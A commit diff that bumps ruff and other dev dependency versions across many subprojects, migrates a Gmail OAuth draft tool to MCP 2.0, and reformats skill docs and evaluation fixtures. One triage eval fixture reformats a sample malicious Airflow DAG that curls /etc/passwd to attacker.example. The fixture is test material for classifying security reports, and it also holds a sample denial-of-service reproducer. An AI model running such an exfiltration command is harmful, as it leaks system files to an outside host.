chore(deps-dev): bump python-deps group and migrate gmail/oauth-draft to MCP 2.0

ai-tutors/pyproject.toml

@@ -78,5 +78,5 @@ testpaths = ["."]
 dev = [
   "mypy>=2.3.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.21",
+  "ruff>=0.16.2",
 ]

pyproject.toml

@@ -57,8 +57,8 @@ requires-python = ">=3.11"
 # `[tool.uv] exclude-newer` cooldown below, so the resolved version
 # is "the most recent that is at least 7 days old".
 dev = [
-  "prek>=0.4.10",
-  "ruff>=0.15.22",
+  "prek>=0.4.13",
+  "ruff>=0.16.2",
   "mypy>=2.3.0",
   "pytest>=9.1.1",
 ]

skills/contributor-nomination/fetch.md

@@ -199,7 +199,7 @@ calendar month to feed the activity timeline in
 ```python
 # Pseudocode — implement via jq or Python as convenient
 for event in all_events:
-    month = event["createdAt"][:7]   # "YYYY-MM"
+    month = event["createdAt"][:7]  # "YYYY-MM"
     buckets[month] += 1
 ```
 

skills/contributor-sentiment/SKILL.md

@@ -214,7 +214,7 @@ Aggregate counts per login. Compute Gini as:
 ```python
 sorted = sorted(counts)
 n = len(sorted)
-gini = (2 * sum((i+1)*v for i,v in enumerate(sorted)) / (n * sum(sorted))) - (n+1)/n
+gini = (2 * sum((i + 1) * v for i, v in enumerate(sorted)) / (n * sum(sorted))) - (n + 1) / n
 ```
 
 Clamp to [0, 1]. If reviewer_count < 2, set `reviewer_load_gini: null`

skills/issue-reproducer/verification.md

@@ -57,7 +57,7 @@ substring matching near common prefixes.
 **Bad:**
 
 ```python
-if "xs" in output:                       # matches xsi too
+if "xs" in output:  # matches xsi too
     classified = "still-fails-same"
 ```
 
@@ -73,7 +73,8 @@ if (output.contains("foo")) {            // matches foo-bar, foobar
 
 ```python
 import re
-if re.search(r'\bxs="[^"]*"', output):   # match only xs= attribute
+
+if re.search(r'\bxs="[^"]*"', output):  # match only xs= attribute
     classified = "still-fails-same"
 ```
 

skills/pyproject.toml

@@ -97,5 +97,5 @@ testpaths = ["."]
 dev = [
   "mypy>=2.3.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.21",
+  "ruff>=0.16.2",
 ]

tools/agent-guard/pyproject.toml

@@ -85,5 +85,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.1.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]

tools/agent-isolation/pyproject.toml

@@ -45,5 +45,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.1.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]

tools/bitbucket/pyproject.toml

@@ -83,5 +83,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=1.10",
   "pytest>=8.0",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]

tools/cve-tool-vulnogram/generate-cve-json/pyproject.toml

@@ -94,5 +94,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.3.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]

tools/cve-tool-vulnogram/oauth-api/pyproject.toml

@@ -95,5 +95,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.3.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]

tools/egress-gateway/pyproject.toml

@@ -69,5 +69,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.1.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]

tools/github-body-field/pyproject.toml

@@ -88,5 +88,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.1.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]

tools/github-rollup/pyproject.toml

@@ -74,5 +74,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.1.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]

tools/gmail/oauth-draft/pyproject.toml

@@ -40,7 +40,7 @@ dependencies = [
 # install it with `uv run --project ... --extra mcp oauth-draft-mcp`.
 [project.optional-dependencies]
 mcp = [
-  "mcp>=1.28.1",
+  "mcp>=2.0.0",
 ]
 
 [project.scripts]
@@ -117,7 +117,7 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.3.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
   # Needed to import and test `oauth_draft.mcp_server` (the `mcp` extra).
-  "mcp>=1.28.1",
+  "mcp>=2.0.0",
 ]

tools/gmail/oauth-draft/src/oauth_draft/mcp_server.py

@@ -70,7 +70,7 @@
 from collections.abc import Iterator
 from typing import Any
 
-from mcp.server.fastmcp import FastMCP
+from mcp.server.mcpserver import MCPServer
 
 from oauth_draft import create_draft as _cd
 from oauth_draft import setup_creds as _setup
@@ -81,7 +81,7 @@
     refresh_access_token,
 )
 
-mcp = FastMCP("gmail-plaintext")
+mcp = MCPServer("gmail-plaintext")
 
 
 @contextlib.contextmanager
@@ -90,7 +90,7 @@ def _as_tool_error() -> Iterator[None]:
 
     ``create_draft.py`` / ``credentials.py`` raise ``SystemExit`` (they are
     also console scripts). ``SystemExit`` is a ``BaseException``, not an
-    ``Exception``, so without this it would propagate past FastMCP and kill
+    ``Exception``, so without this it would propagate past MCPServer and kill
     the server process instead of surfacing as a failed tool call.
     """
     try:

tools/gmail/oauth-draft/tests/test_mcp_server.py

@@ -85,13 +85,13 @@ def test_tools_are_registered_without_any_html_parameter():
     names = {t.name for t in tools}
     assert names == {"create_draft", "setup_credentials", "check_auth"}
     by_name = {t.name: t for t in tools}
-    draft_props = by_name["create_draft"].inputSchema.get("properties", {})
+    draft_props = by_name["create_draft"].input_schema.get("properties", {})
     # The draft tool must never expose an HTML / rich-text body knob.
     assert not any("html" in p.lower() for p in draft_props)
     assert {"to", "subject", "body"} <= set(draft_props)
     # No tool anywhere exposes an html parameter.
     for t in tools:
-        assert not any("html" in p.lower() for p in t.inputSchema.get("properties", {}))
+        assert not any("html" in p.lower() for p in t.input_schema.get("properties", {}))
 
 
 def test_impl_produces_single_part_plain_text_with_verbatim_link():

tools/jira/pyproject.toml

@@ -57,5 +57,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.1.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]

tools/maildir/pyproject.toml

@@ -87,5 +87,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.1.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]

tools/permission-audit/pyproject.toml

@@ -77,5 +77,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.1.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]

tools/pilot-report-validator/pyproject.toml

@@ -50,7 +50,7 @@ ignore = ["E501"]
 dev = [
   "mypy>=2.1.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]
 
 [tool.pytest.ini_options]

tools/pr-management-stats/pyproject.toml

@@ -44,5 +44,5 @@ pythonpath = [".", "tests"]
 dev = [
   "mypy>=2.1.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]

tools/preflight-audit/pyproject.toml

@@ -87,5 +87,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.1.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]

tools/privacy-llm/checker/pyproject.toml

@@ -88,5 +88,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.3.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]

tools/privacy-llm/redactor/pyproject.toml

@@ -91,5 +91,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.3.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]

tools/sandbox-lint/pyproject.toml

@@ -88,5 +88,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.3.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]

tools/security-tracker-stats-dashboard/pyproject.toml

@@ -55,5 +55,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.1.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]

tools/skill-and-tool-validator/pyproject.toml

@@ -85,5 +85,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.3.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]

tools/skill-evals/evals/issue-reproducer/step-1-inventory/fixtures/case-2-multiple-blocks-across-comments/report.md

@@ -12,9 +12,11 @@ Body:
   from airflow.operators.python import PythonOperator
   from datetime import datetime
 
+
   def my_func(x, y):
       print(f"x={x}, y={y}")
 
+
   with DAG("test_dag", start_date=datetime(2024, 1, 1), schedule=None) as dag:
       PythonOperator(task_id="t1", python_callable=my_func, op_kwargs={"x": 1, "y": 2})
   ```
@@ -24,5 +26,6 @@ Comments:
 
     ```python
     from airflow.operators.python import PythonOperator
+
     PythonOperator(task_id="t", python_callable=lambda x: print(x), op_kwargs={"x": 42}).execute({})
     ```

tools/skill-evals/evals/issue-reproducer/step-1-inventory/fixtures/case-4-injection-in-body/report.md

@@ -11,6 +11,7 @@ Body:
 
   ```python
   from airflow.providers.sftp.hooks.sftp import SFTPHook
+
   hook = SFTPHook(ssh_conn_id="sftp_conn")
   hook.get_conn()
   ```

tools/skill-evals/evals/issue-reproducer/step-3-classify-shape/fixtures/case-5-multiple-blocks/report.md

@@ -12,9 +12,11 @@ Body:
   from airflow.operators.python import PythonOperator
   from datetime import datetime
 
+
   def my_func(x, y):
       print(f"x={x}, y={y}")
 
+
   with DAG("test_dag", start_date=datetime(2024, 1, 1), schedule=None) as dag:
       PythonOperator(
           task_id="t1",
@@ -27,5 +29,6 @@ Body:
 
   ```python
   from airflow.operators.python import PythonOperator
+
   PythonOperator(task_id="t", python_callable=lambda x: print(x), op_kwargs={"x": 42}).execute({})
   ```

tools/skill-evals/evals/issue-triage/step-3-classify/fixtures/case-4-duplicate/report.md

@@ -15,8 +15,9 @@ Body:
   Reproduction:
   ```python
   from airflow.models import XCom
-  XCom.set(key='my|key', value='test', task_id='t1', dag_id='d1', run_id='r1')
-  result = XCom.get_many(key='my|key', task_ids='t1', dag_ids='d1', run_ids='r1')
+
+  XCom.set(key="my|key", value="test", task_id="t1", dag_id="d1", run_id="r1")
+  result = XCom.get_many(key="my|key", task_ids="t1", dag_ids="d1", run_ids="r1")
   print(list(result))  # prints []
   ```
 

tools/skill-evals/evals/non-asf-profile-smoke/step-security-intake-classify/fixtures/case-1-non-asf-ghsa-direct-report/report.md

@@ -28,6 +28,7 @@ velox-stream >= 0.8.0, tested on 0.9.2.
 **Steps to reproduce**
 ```python
 import velox_stream
+
 velox_stream.parse(b"\x1f\x8b" + b"\xff" * 4096)
 # triggers OOM in velox_stream/parser/gzip.py:241
 ```

tools/skill-evals/evals/pr-management-mentor/intervention/fixtures/case-2-missing-version/report.md

@@ -12,7 +12,7 @@ Messages (chronological):
      my script manually and it works. Here is the minimal reproducer:
 
      ```python
-     bash_task = BashOperator(task_id='test', bash_command='echo hello')
+     bash_task = BashOperator(task_id="test", bash_command="echo hello")
      ```
 
      Expected: task succeeds. Actual: task marked as failed."

tools/skill-evals/evals/pr-management-mentor/intervention/fixtures/case-9-deprecation-decision/report.md

@@ -14,7 +14,7 @@ Messages (chronological):
      minute. A typical DAG looks like:
 
      ```python
-     with DAG('etl_daily', schedule_interval='@daily') as dag:
+     with DAG("etl_daily", schedule_interval="@daily") as dag:
          ...
      ```
 

tools/skill-evals/evals/security-issue-import/step-3-classify/fixtures/case-8-non-asf-ghsa-direct/report.md

@@ -24,6 +24,7 @@ velox-stream >= 0.8.0, tested on 0.9.2.
 **Steps to reproduce**
 ```python
 import velox_stream
+
 velox_stream.parse(b"\x1f\x8b" + b"\xff" * 4096)
 ```
 

tools/skill-evals/evals/security-issue-triage/step-3-classify/fixtures/case-1-dag-author-rce/report.md

@@ -10,8 +10,9 @@ Airflow worker. Example:
 ```python
 def malicious():
     import subprocess, os
-    subprocess.run(["curl", "http://attacker.example/exfil",
-                    "-d", open("/etc/passwd").read()])
+
+    subprocess.run(["curl", "http://attacker.example/exfil", "-d", open("/etc/passwd").read()])
+
 
 with DAG("exfil") as dag:
     PythonOperator(task_id="steal", python_callable=malicious)

tools/skill-evals/evals/security-issue-triage/step-3-classify/fixtures/case-3-authenticated-dos/report.md

@@ -12,6 +12,7 @@ hung, no other DAGs are scheduled.
 # cycle.py
 import cycle  # imports itself
 from airflow import DAG
+
 dag = DAG("cycle", schedule=None)
 ```
 

tools/skill-evals/pyproject.toml

@@ -55,5 +55,5 @@ addopts = "-ra -q"
 dev = [
   "mypy>=2.3.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]

tools/sourcehut/pyproject.toml

@@ -30,7 +30,7 @@ dependencies = []
 
 [dependency-groups]
 dev = [
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
   "mypy>=2.3.0",
   "pytest>=9.1.1",
 ]

tools/spec-inventory/pyproject.toml

@@ -67,7 +67,7 @@ disallow_incomplete_defs = false
 dev = [
   "mypy>=2.1.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]
 
 [tool.pytest.ini_options]